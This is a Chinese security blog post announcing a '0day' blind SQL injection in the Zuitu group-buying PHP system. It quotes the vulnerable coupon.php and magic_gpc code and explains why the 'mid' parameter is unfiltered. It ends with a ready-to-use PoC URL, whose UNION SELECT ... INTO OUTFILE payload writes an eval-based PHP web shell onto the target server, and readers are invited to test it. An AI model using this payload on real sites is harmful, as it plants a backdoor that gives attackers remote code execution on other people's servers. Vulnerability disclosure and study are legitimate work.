您的位置 » 首页 » 代码审计,实用工具 » 0day漏洞:最土团购网盲注n枚

0day漏洞:最土团购网盲注n枚

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2012年12月13日 | 文章热度:6,399 次 全屏阅读

显示不全请点击全屏阅读

最土团购系统是国内最专业、功能最强大的GroupOn模式的免费开源团购系统平台,专业技术团队、完美用户体验与极佳的性能,立足为用户提供最值得信赖的免费开源网上团购系统。
  从技术层面来看,本程序采用目前软件开发IT业界较为流行的PHP和MYSQL数据库开发技术架构。从功能层面来看,前台首页每天显示一个服务或产品的限时限最低成团人数的团购项目,具有邮件订阅,好友邀请,人人网、开心网、新浪微博、MSN/QQ分享,短信发送,购买凭证券在线打印、下载等功能。 最土团购程序管理员后台具有人性化的邮件发送参数配置、邀请返利金额配置、短信接口配置、每日团购项目信息管理等控制管理模块,迅速的帮助有热情、有志向 投入运营团购网站的客户建立属于自己的团购网站。
  为了能高效地开发网站,公司有一套系统化的开发原则,但也不是作为一成不变的必须严格遵守的条文,特殊情况下可以灵活运用,做一定的变通。这样做的好处是在开发过程中会减少出错的几率,并使编程更加高效,有利于开发人员之间的合作,在出现BUG时也更容易查找漏洞。

0×0

最土团购盲注n枚

ajax/coupon.php

<?php
require_once(dirname(dirname(__FILE__)) . ‘/app.php’);
 
$action = strval($_GET[‘action’]);
$cid = strval($_GET[‘id’]);
$sec = strval($_GET[‘secret’]);
 
… … … … … … … … … … … … … … … …
 
else if ($action == ‘mobile_choice’){
$oid = strval($_GET[‘mid’]);
$order = Table::Fetch(‘order’, $oid);
$user = Table::Fetch(‘user’,$order[‘user_id’]);
$mobile = $order[‘mobile’];
if (!Utility::IsMobile($mobile)) {
$mobile= $user[‘mobile’];
}
$html = render(‘ajax_dialog_fillmobile’);
json($html, ‘dialog’);
}

<?php
require_once(dirname(dirname(__FILE__)) . ‘/app.php’);

$action = strval($_GET[‘action’]);
$cid = strval($_GET[‘id’]);
$sec = strval($_GET[‘secret’]);

… … … … … … … … … … … … … … … …

else if ($action == ‘mobile_choice’){
$oid = strval($_GET[‘mid’]);
$order = Table::Fetch(‘order’, $oid);
$user = Table::Fetch(‘user’,$order[‘user_id’]);
$mobile = $order[‘mobile’];
if (!Utility::IsMobile($mobile)) {
$mobile= $user[‘mobile’];
}
$html = render(‘ajax_dialog_fillmobile’);
json($html, ‘dialog’);
}
当action为mobile_choice时,mid参数没有任何过滤直接传入查询,导致了注入的发生。老实说,代码里有个函数很像是用来做过滤的,看:

/app.php

<?php
require_once(dirname(__FILE__). ‘/include/application.php’);
 
/* magic_quota_gpc */
$_GET = magic_gpc($_GET);
$_POST = magic_gpc($_POST);
$_COOKIE = magic_gpc($_COOKIE);

<?php
require_once(dirname(__FILE__). ‘/include/application.php’);

/* magic_quota_gpc */
$_GET = magic_gpc($_GET);
$_POST = magic_gpc($_POST);
$_COOKIE = magic_gpc($_COOKIE);
看得到有个magic_gpc(),再去看这个函数如何实现的

function magic_gpc($string) {
if(SYS_MAGICGPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = magic_gpc($val);
}
} else {
$string = stripslashes($string);
}
}
return $string;
}

function magic_gpc($string) {
if(SYS_MAGICGPC) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = magic_gpc($val);
}
} else {
$string = stripslashes($string);
}
}
return $string;
}
若SYS_MAGICGPC为1,那就stripeslashes每个元素,如果没有则什么都不做,但是只有当gpc打开时,SYS_MAGICGPC为1。这是过滤?不知道,求大牛科普。

总之这样的代码漏洞百出,像是sql注入应该一抓一大把。权当用来消遣

0×1 PoC

欢迎测试

http://target.com/ajax/coupon.php?action=mobile_choice&mid=1′)/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,%22%3C?php%22,%22@eval($_POST[‘ztz’]);?%3E%22/**/into/**/outfile/**/%22c:\\xxx\\zuitu.php%22;%23

 原文:http://fuzzexp.org/

Tags:

最土团购漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1883/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)